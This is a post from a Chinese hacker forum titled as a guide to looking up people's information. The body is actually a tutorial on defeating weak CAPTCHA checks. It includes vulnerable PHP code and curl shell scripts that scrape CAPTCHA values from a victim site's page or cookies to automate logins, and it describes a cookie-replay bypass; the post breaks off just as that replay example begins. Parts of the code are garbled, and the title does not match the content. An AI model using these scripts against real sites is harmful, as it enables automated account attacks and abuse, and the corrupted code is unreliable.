快捷导航

黑客教你查询某人信息(黑客真的可以查询到别人的信息...

[复制链接]
查看: 412|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-10-29 00:00:00 | 显示全部楼层 |阅读模式
所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息, 输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。 很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。 验证码在网页中的例子: CODE:
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //验证用户输入是否和验证码一致
if(isset($HTTP_POST_VARS[’authinput’]))
{
if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)
echo “验证成功!“;
else
echo “验证失败!“;
}

//生成新的四位整数验证码
while(($authnum=rand()000)<1000);
?>
   



请输入验证码:

  

  

>  




  

[Copy to clipboard] 以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。 CODE: #!/bin/sh  

curl http://www.vicitm.org/authpage.php  

authinput=`grep ’’ grep.txt | sed -e ’s/[^0-9]//g’` #得到网页中的 authnum  

curl http://www.vicitm.org/authpage.php -d name=hacker -d submit=“验证“ -d authnum=$authnum [Copy to clipboard] CODE: session_register(“authnum“);  

$authnum = strval(rand(“1111“,“9999“));  

setcookie(“authnum“,$authnum); ...  

... if($number != $login_check_number || empty($number))  

{  

print(“校验码不正确!“);  

die();  

}  

[Copy to clipboard] 第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破。  

CODE: #!/bin/sh  

$username=hacker  

$password=hackme  

curl http://www.vicitm.org/index.php -c common_cookie # 接受服务器的初始cookies  

curl http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie # 得到验证码,从cookies中  

authnum=`grep authnum $username.cook | cut -f7`  

curl http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的验证码登陆 [Copy to clipboard]  

更高级的验证码。(好像本论坛的就是这种。。。。)  

有一类验证码比以上两种验证码要高级一些,它使用如下算法:  

1。服务器生成一个随机hash。  

2。使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,再转化成图片。  

3。hash在cookie中被发送到客户端  

3。客户以图片输入验证码,进行登录。服务器检查f(hash)=验证码。 特点:因为攻击者不明白服务器所使用的验证码编码算法,所以无法对服务器转来的hash进行直接解析。 对付这种验证码,我们可以使用“过期cookies法”,方法即:保存服务器一次特定的cookies,将其对应验证码记下。在每次发送验证消息时 ,强行扔掉服务器传来的cookies,使用这个已被使用过的cookies以及验证码。就好比,一张电话充值卡可以用多次一样。 如:  

先从服务器上下载一张验证码图片:  



(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: